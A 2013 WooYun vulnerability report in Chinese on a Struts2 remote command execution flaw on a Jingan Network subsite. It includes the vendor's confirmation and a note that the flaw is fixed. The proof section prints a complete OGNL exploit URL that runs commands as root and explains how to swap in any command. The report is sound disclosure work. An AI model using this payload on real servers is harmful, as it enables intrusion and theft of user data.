漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-024702
漏洞标题：景安网络某分站任意命令执行，威胁用户数据安全
相关厂商：景安网络
漏洞作者： txcbg
提交时间：2013-05-29 14:42
修复时间：2013-07-13 14:43
公开时间：2013-07-13 14:43
漏洞类型：命令执行
危害等级：高
自评Rank：18
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-05-29： 细节已通知厂商并且等待厂商处理中
2013-05-29： 厂商已经确认，细节仅向厂商公开
2013-06-08： 细节向核心白帽子及相关领域专家公开
2013-06-18： 细节向普通白帽子公开
2013-06-28： 细节向实习白帽子公开
2013-07-13： 细节向公众公开
简要描述：
景安网络某分站任意命令执行，威胁用户数据安全。
详细说明：
景安网络景安积分商城分站jf.zzidc.com存在任意命令执行漏洞，可以执行任意系统命令，并且是以权限最高的root权限。利用这个漏洞可以很容易获得webshell（当然我没有尝试获取）然后控制整个网站。发现景安积分商城有用户登录的地方，登录的用户信息应该就是网站主战的用户信息。利用webshell就可以获取用户的用户名、密码等敏感信息了。景安网络作为国内知名的大IDC，用户数量应该不少，为了用户的数据安全，就补了这个洞吧。
漏洞证明：
用浏览器访问如下链接：
http://jf.zzidc.com/rule.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23s3cur1ty%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23s3cur1ty.println(%23d)%2c%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]
会提示下载文件rule.action，打开下载回来的文件就看到了命令执行的结果，如图1，2。可以看到成功执行了命令“id”，显示当前用户是root。
把利用代码中exec(%27id%27)中的“id”替换成你要执行的命令就可以执行任意命令了，并且是root权限。
修复方案：
struts2的新命令执行漏洞，建议升级struts2。
版权声明：转载请注明来源 txcbg@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2013-05-29 21:37
厂商回复：
感谢txcbg对景安网络安全的支持！顺谢裙下的秘密于5.20提交的漏洞！
最新状态：
2013-05-29：已修复。